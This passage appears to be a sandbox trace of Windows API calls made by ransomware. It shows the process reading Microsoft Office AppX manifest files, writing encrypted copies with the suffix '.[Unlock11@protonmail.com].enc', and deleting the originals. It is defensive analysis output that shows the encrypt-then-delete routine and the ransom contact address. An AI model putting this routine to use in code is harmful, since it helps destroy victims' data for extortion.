Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 0x68 [0133.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0133.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0133.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0133.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0133.760] GetCurrentThreadId () returned 0x9b0 [0133.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea878 [0133.760] GetLastError () returned 0x0 [0133.760] GetLastError () returned 0x0 [0133.760] GetLastError () returned 0x0 [0133.760] GetLastError () returned 0x0 [0133.760] GetCurrentThreadId () returned 0x9b0 [0133.760] GetLastError () returned 0x0 [0133.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea878 | out: hHeap=0x2ad0000) returned 1 [0133.761] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead00 [0133.761] GetLastError () returned 0x0 [0133.761] GetLastError () returned 0x0 [0133.761] GetLastError () returned 0x0 [0133.761] GetLastError () returned 0x0 [0133.761] GetCurrentThreadId () returned 0x9b0 [0133.761] GetLastError () returned 0x0 [0133.761] GetCurrentThreadId () returned 0x9b0 [0133.761] GetLastError () returned 0x0 [0133.761] GetLastError () returned 0x0 [0133.762] GetLastError () returned 0x0 [0133.762] GetLastError () returned 0x0 [0133.762] GetCurrentThreadId () returned 0x9b0 [0133.762] GetLastError () returned 0x0 [0133.762] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ead00 | out: hHeap=0x2ad0000) returned 1 [0133.762] GetLastError () returned 0x0 [0133.762] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0133.762] GetLastError () returned 0x0 [0133.762] GetLastError () returned 0x0 [0133.762] GetLastError () returned 0x0 [0133.762] GetCurrentThreadId () returned 0x9b0 [0133.763] GetLastError () returned 0x0 [0133.763] GetLastError () returned 0x0 [0133.763] GetLastError () returned 0x0 [0133.763] GetLastError () returned 0x0 [0133.763] GetLastError () returned 0x0 [0133.763] GetCurrentThreadId () returned 0x9b0 [0133.763] GetLastError () returned 0x0 [0133.763] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0133.763] GetLastError () returned 0x0 [0133.763] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0133.763] GetLastError () returned 0x0 [0133.764] GetLastError () returned 0x0 [0133.764] GetLastError () returned 0x0 [0133.764] GetCurrentThreadId () returned 0x9b0 [0133.764] GetLastError () returned 0x0 [0133.764] GetCurrentThreadId () returned 0x9b0 [0133.764] GetLastError () returned 0x0 [0133.764] GetLastError () returned 0x0 [0133.764] GetLastError () returned 0x0 [0133.764] GetLastError () returned 0x0 [0133.764] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0133.765] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ecd099, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0133.765] GetLastError () returned 0x0 [0133.765] GetCurrentThreadId () returned 0x9b0 [0133.765] GetLastError () returned 0x0 [0133.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0133.765] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b854 | out: pbBuffer=0x366b854) returned 1 [0133.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0133.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0133.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0133.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea918 [0133.765] GetCurrentThreadId () returned 0x9b0 [0133.766] GetLastError () returned 0x0 [0133.766] GetLastError () returned 0x0 [0133.766] GetLastError () returned 0x0 [0133.766] GetLastError () returned 0x0 [0133.766] GetCurrentThreadId () returned 0x9b0 [0133.766] GetLastError () returned 0x0 [0133.766] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea918 | out: hHeap=0x2ad0000) returned 1 [0133.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0133.766] GetLastError () returned 0x0 [0133.766] GetLastError () returned 0x0 [0133.767] GetLastError () returned 0x0 [0133.767] GetLastError () returned 0x0 [0133.767] GetCurrentThreadId () returned 0x9b0 [0133.767] GetLastError () returned 0x0 [0133.767] GetCurrentThreadId () returned 0x9b0 [0133.767] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab98 | out: hHeap=0x2ad0000) returned 1 [0133.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb60 [0133.767] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5e18 | out: hHeap=0x2ad0000) returned 1 [0133.767] GetLastError () returned 0x0 [0133.767] GetLastError () returned 0x0 [0133.767] GetLastError () returned 0x0 [0133.767] GetLastError () returned 0x0 [0133.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0133.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32ab9b0 [0133.768] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0133.768] GetFileType (hFile=0x39c) returned 0x1 [0133.768] GetCurrentThreadId () returned 0x9b0 [0133.768] GetFileType (hFile=0x39c) returned 0x1 [0133.768] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.769] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.769] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.769] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.769] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.769] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.769] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.769] GetCurrentThreadId () returned 0x9b0 [0133.769] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0133.769] GetFileType (hFile=0x3ac) returned 0x1 [0133.770] GetCurrentThreadId () returned 0x9b0 [0133.770] GetFileType (hFile=0x3ac) returned 0x1 [0133.770] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.770] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.770] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.770] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.770] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.770] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.770] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.771] GetCurrentThreadId () returned 0x9b0 [0133.771] GetCurrentThreadId () returned 0x9b0 [0133.772] GetCurrentThreadId () returned 0x9b0 [0133.773] GetCurrentThreadId () returned 0x9b0 [0133.773] GetCurrentThreadId () returned 0x9b0 [0133.773] GetCurrentThreadId () returned 0x9b0 [0133.773] GetCurrentThreadId () returned 0x9b0 [0133.774] GetCurrentThreadId () returned 0x9b0 [0133.774] CloseHandle (hObject=0x3ac) returned 1 [0133.775] GetCurrentThreadId () returned 0x9b0 [0133.775] CloseHandle (hObject=0x39c) returned 1 [0133.775] GetCurrentThreadId () returned 0x9b0 [0133.775] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 1 [0133.776] GetCurrentThreadId () returned 0x9b0 [0133.776] GetCurrentThreadId () returned 0x9b0 [0133.776] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 0x68 [0133.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0133.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0133.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0133.777] GetCurrentThreadId () returned 0x9b0 [0133.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0133.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacb0 [0133.777] GetLastError () returned 0x0 [0133.777] GetLastError () returned 0x0 [0133.777] GetLastError () returned 0x0 [0133.777] GetLastError () returned 0x0 [0133.777] GetCurrentThreadId () returned 0x9b0 [0133.777] GetLastError () returned 0x0 [0133.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacb0 | out: hHeap=0x2ad0000) returned 1 [0133.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8c8 [0133.778] GetLastError () returned 0x0 [0133.778] GetLastError () returned 0x0 [0133.778] GetLastError () returned 0x0 [0133.778] GetLastError () returned 0x0 [0133.778] GetCurrentThreadId () returned 0x9b0 [0133.778] GetLastError () returned 0x0 [0133.778] GetCurrentThreadId () returned 0x9b0 [0133.778] GetLastError () returned 0x0 [0133.779] GetLastError () returned 0x0 [0133.779] GetLastError () returned 0x0 [0133.779] GetLastError () returned 0x0 [0133.779] GetCurrentThreadId () returned 0x9b0 [0133.779] GetLastError () returned 0x0 [0133.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea8c8 | out: hHeap=0x2ad0000) returned 1 [0133.779] GetLastError () returned 0x0 [0133.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0133.779] GetLastError () returned 0x0 [0133.779] GetLastError () returned 0x0 [0133.779] GetLastError () returned 0x0 [0133.780] GetCurrentThreadId () returned 0x9b0 [0133.780] GetLastError () returned 0x0 [0133.780] GetLastError () returned 0x0 [0133.780] GetLastError () returned 0x0 [0133.780] GetLastError () returned 0x0 [0133.780] GetLastError () returned 0x0 [0133.780] GetCurrentThreadId () returned 0x9b0 [0133.780] GetLastError () returned 0x0 [0133.780] GetCurrentThreadId () returned 0x9b0 [0133.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a3e8 | out: hHeap=0x2ad0000) returned 1 [0133.780] GetLastError () returned 0x0 [0133.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0133.781] GetLastError () returned 0x0 [0133.781] GetLastError () returned 0x0 [0133.781] GetLastError () returned 0x0 [0133.781] GetCurrentThreadId () returned 0x9b0 [0133.781] GetLastError () returned 0x0 [0133.781] GetLastError () returned 0x0 [0133.781] GetLastError () returned 0x0 [0133.781] GetLastError () returned 0x0 [0133.781] GetLastError () returned 0x0 [0133.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0133.782] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3df10)) returned 1 [0133.782] GetLastError () returned 0x0 [0133.782] GetCurrentThreadId () returned 0x9b0 [0133.782] GetLastError () returned 0x0 [0133.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0133.782] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b7b4 | out: pbBuffer=0x366b7b4) returned 1 [0133.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0133.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0133.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0133.783] GetCurrentThreadId () returned 0x9b0 [0133.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8c8 [0133.783] GetLastError () returned 0x0 [0133.783] GetLastError () returned 0x0 [0133.783] GetLastError () returned 0x0 [0133.783] GetLastError () returned 0x0 [0133.783] GetCurrentThreadId () returned 0x9b0 [0133.783] GetLastError () returned 0x0 [0133.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea8c8 | out: hHeap=0x2ad0000) returned 1 [0133.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacb0 [0133.784] GetCurrentThreadId () returned 0x9b0 [0133.784] GetLastError () returned 0x0 [0133.784] GetLastError () returned 0x0 [0133.784] GetLastError () returned 0x0 [0133.784] GetLastError () returned 0x0 [0133.784] GetCurrentThreadId () returned 0x9b0 [0133.784] GetLastError () returned 0x0 [0133.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacb0 | out: hHeap=0x2ad0000) returned 1 [0133.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb60 [0133.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4598 | out: hHeap=0x2ad0000) returned 1 [0133.785] GetLastError () returned 0x0 [0133.785] GetLastError () returned 0x0 [0133.785] GetLastError () returned 0x0 [0133.785] GetLastError () returned 0x0 [0133.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0133.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ab4718 [0133.785] GetLastError () returned 0x0 [0133.785] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0133.785] GetFileType (hFile=0x39c) returned 0x1 [0133.786] GetLastError () returned 0x0 [0133.786] GetCurrentThreadId () returned 0x9b0 [0133.786] GetLastError () returned 0x0 [0133.786] GetFileType (hFile=0x39c) returned 0x1 [0133.786] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.786] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.786] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.786] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.786] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.786] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.786] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.787] GetLastError () returned 0x0 [0133.787] GetCurrentThreadId () returned 0x9b0 [0133.787] GetLastError () returned 0x0 [0133.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4718 | out: hHeap=0x2ad0000) returned 1 [0133.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0133.787] GetLastError () returned 0x0 [0133.787] GetLastError () returned 0x0 [0133.787] GetLastError () returned 0x0 [0133.787] GetLastError () returned 0x0 [0133.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ab4718 [0133.787] GetLastError () returned 0x0 [0133.788] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0133.788] GetFileType (hFile=0x3ac) returned 0x1 [0133.788] GetLastError () returned 0x0 [0133.788] GetCurrentThreadId () returned 0x9b0 [0133.788] GetLastError () returned 0x0 [0133.788] GetFileType (hFile=0x3ac) returned 0x1 [0133.788] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.789] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.789] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.789] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.789] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.789] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.789] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.789] GetLastError () returned 0x0 [0133.789] GetCurrentThreadId () returned 0x9b0 [0133.789] GetLastError () returned 0x0 [0133.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4718 | out: hHeap=0x2ad0000) returned 1 [0133.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d01f8 | out: hHeap=0x2ad0000) returned 1 [0133.789] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0133.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0133.790] GetLastError () returned 0x0 [0133.790] GetLastError () returned 0x0 [0133.790] GetCurrentThreadId () returned 0x9b0 [0133.790] GetLastError () returned 0x0 [0133.790] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0133.790] GetLastError () returned 0x0 [0133.790] GetLastError () returned 0x0 [0133.790] GetCurrentThreadId () returned 0x9b0 [0133.790] GetLastError () returned 0x0 [0133.790] GetLastError () returned 0x0 [0133.792] GetLastError () returned 0x0 [0133.793] GetCurrentThreadId () returned 0x9b0 [0133.793] GetLastError () returned 0x0 [0133.793] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb60 | out: hHeap=0x2ad0000) returned 1 [0133.793] GetCurrentThreadId () returned 0x9b0 [0133.793] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.794] GetLastError () returned 0x0 [0133.794] GetLastError () returned 0x0 [0133.794] GetLastError () returned 0x0 [0133.794] GetLastError () returned 0x0 [0133.794] GetCurrentThreadId () returned 0x9b0 [0133.794] GetLastError () returned 0x0 [0133.794] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.794] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0133.794] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0133.795] GetLastError () returned 0x0 [0133.796] GetLastError () returned 0x0 [0133.796] GetCurrentThreadId () returned 0x9b0 [0133.796] GetLastError () returned 0x0 [0133.797] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.797] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0133.797] GetLastError () returned 0x0 [0133.797] GetLastError () returned 0x0 [0133.798] GetCurrentThreadId () returned 0x9b0 [0133.798] GetLastError () returned 0x0 [0133.798] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4728 [0133.798] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4718 | out: hHeap=0x2ad0000) returned 1 [0133.798] GetCurrentThreadId () returned 0x9b0 [0133.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0133.798] GetLastError () returned 0x0 [0133.799] GetLastError () returned 0x0 [0133.799] GetLastError () returned 0x0 [0133.799] GetLastError () returned 0x0 [0133.799] GetCurrentThreadId () returned 0x9b0 [0133.799] GetLastError () returned 0x0 [0133.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0133.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0133.799] GetLastError () returned 0x0 [0133.800] GetLastError () returned 0x0 [0133.800] GetCurrentThreadId () returned 0x9b0 [0133.800] GetLastError () returned 0x0 [0133.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0133.801] GetLastError () returned 0x0 [0133.801] GetLastError () returned 0x0 [0133.802] GetCurrentThreadId () returned 0x9b0 [0133.802] GetLastError () returned 0x0 [0133.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4718 [0133.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4728 | out: hHeap=0x2ad0000) returned 1 [0133.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.802] GetCurrentThreadId () returned 0x9b0 [0133.802] GetLastError () returned 0x0 [0133.803] GetLastError () returned 0x0 [0133.803] GetLastError () returned 0x0 [0133.803] GetLastError () returned 0x0 [0133.803] GetCurrentThreadId () returned 0x9b0 [0133.803] GetLastError () returned 0x0 [0133.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.803] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0133.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0133.803] GetLastError () returned 0x0 [0133.804] GetLastError () returned 0x0 [0133.805] GetCurrentThreadId () returned 0x9b0 [0133.805] GetLastError () returned 0x0 [0133.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0133.805] GetLastError () returned 0x0 [0133.805] GetLastError () returned 0x0 [0133.805] GetCurrentThreadId () returned 0x9b0 [0133.805] GetLastError () returned 0x0 [0133.805] HeapFree (in: 